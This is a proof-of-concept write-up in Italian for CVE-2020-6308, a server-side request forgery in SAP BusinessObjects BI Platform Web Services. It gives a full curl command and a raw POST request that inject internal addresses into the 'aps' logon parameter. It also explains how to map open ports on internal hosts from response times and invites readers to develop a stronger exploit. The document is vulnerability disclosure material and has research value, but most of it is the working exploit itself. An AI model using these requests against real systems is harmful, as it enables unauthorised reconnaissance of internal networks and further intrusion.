
PoC CVE-2020-6308
SAP BusinessObjects Business Intelligence Platform (Web Services) versioni 410, 420, 430 consente a un attaccante non autenticato di iniettare valori arbitrari come parametri CMS per eseguire ricerche sulla rete interna che altrimenti non è accessibile esternamente. Seguimi su Twitter o inviami un DM per domande: https://twitter.com/initroott
Ho segnalato il problema a SAP a maggio 2020 e la patch è stata rilasciata a ottobre 2020. Puoi sviluppare ulteriormente il tuo PoC, tuttavia fornirò un po' di contesto. La funzione CMS non valida l'indirizzo fornito. Se il firewall dell'host non è configurato correttamente, è possibile identificare facilmente le porte o la rete interna in base alle risposte ricevute dalle richieste. Nell'esempio qui sotto mostro come vedere le porte aperte usando la richiesta CuRL..
Nell'esempio qui sotto ho un host SAP (192.168.0.191), una macchina attaccante (192.168.0.149) e un altro dispositivo, ad esempio un router interno (192.168.0.1).
Il nostro host SAP ha le seguenti porte aperte:

E il nostro router interno ha le seguenti porte aperte: 53,80,34573

Quindi testiamo questo, possiamo identificare le porte aperte semplicemente in base ai tempi di risposta delle richieste. Esempi qui sotto:
time curl -i -s -k -X $'POST' \
-H $'Host: 192.168.0.191:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 120' -H $'Origin: http://192.168.0.191:8080' -H $'Connection: close' -H $'Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp' -H $'Cookie: JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' -H $'Upgrade-Insecure-Requests: 1' \
-b $'JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' \
--data-binary $'aps=192.168.0.1:53&usr=admin&pwd=&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp' \
$'http://192.168.0.191:8080/AdminTools/querybuilder/logon?framework='
Testando i seguenti payload:
Qui puoi vedere i risultati dei tempi di test per le porte chiuse, in media circa 5ms..

Qui puoi vedere i risultati dei tempi di test per le porte aperte/filtrate, molto più grandi..

Quanto segue non è ideale, poiché instradamenti diversi o alcuni firewall possono influire sui risultati. Tuttavia, dovrebbe darti un'idea da dove iniziare a costruire un exploit migliore.. Quanto sopra può essere regolato creando una baseline e poi lavorando da lì. Consiglio sicuramente di configurare un listener e poi vedere cosa succede.
Quanto segue mostra come apparirà la richiesta in Burp con il parametro APS come punto di iniezione vulnerabile. Un PoC più semplice consisterebbe nell'iniettare un valore di canary token e attendere il trigger..
POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
Host: 192.168.0.191:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://192.168.0.191:8080
Connection: close
Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp
Upgrade-Insecure-Requests: 1
aps=192.168.0.191&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp